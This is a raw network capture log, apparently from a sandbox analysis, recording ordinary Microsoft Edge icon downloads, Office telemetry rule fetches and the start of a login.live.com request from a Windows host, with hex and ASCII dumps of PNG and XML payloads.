2024-11-25 17:28:43 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49838	13.107.246.40	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:42 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:43 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 3af60b7b-b01e-005c-5b5f-3f99fe000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T172843Z-15b8b599d88z9sc7hC1TEBkr4w00000006eg000000003pvm Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49836	13.107.246.40	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:42 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:43 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: f2b4d97c-d01e-004c-5cf5-3eaf18000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T172843Z-178bfbc474bv7whqhC1NYC1fg400000007u0000000008hmp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49837	13.107.246.40	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:42 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:43 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: ff3df75d-201e-001d-4fe3-3eb1ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T172843Z-178bfbc474bfw4gbhC1NYCunf400000007pg00000000v20f Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:42 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 279fb768-d01e-00ad-04d6-3ee942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172843Z-15b8b599d88cn5thhC1TEBqxkn000000062000000000mwq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49835	13.107.246.40	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:43 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:43 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 6e533cfd-401e-0006-17bf-3e9f7f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T172843Z-178bfbc474bpscmfhC1NYCfc2c000000069g00000000p2gq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49840	13.107.246.40	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:43 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:43 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: b89fa148-901e-002d-4fd8-3cebc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T172843Z-174c587ffdf89smkhC1TEB697s00000006a000000000f1dp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:43 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 16d74281-d01e-0066-164b-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172843Z-15b8b599d88pxmdghC1TEBux9c00000006fg000000000euy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:43 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c48a7b1f-b01e-0053-235d-3fcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172843Z-178bfbc474bbcwv4hC1NYCypys00000007pg000000007wqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:43 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 09788b64-001e-0046-6eb7-3eda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172843Z-178bfbc474b7cbwqhC1NYC8z4n00000007p000000000gm5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:43 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:43 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 043e45ca-501e-0078-1031-3e06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172843Z-178bfbc474btvfdfhC1NYCa2en00000007u000000000fy5x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:43 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49845	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
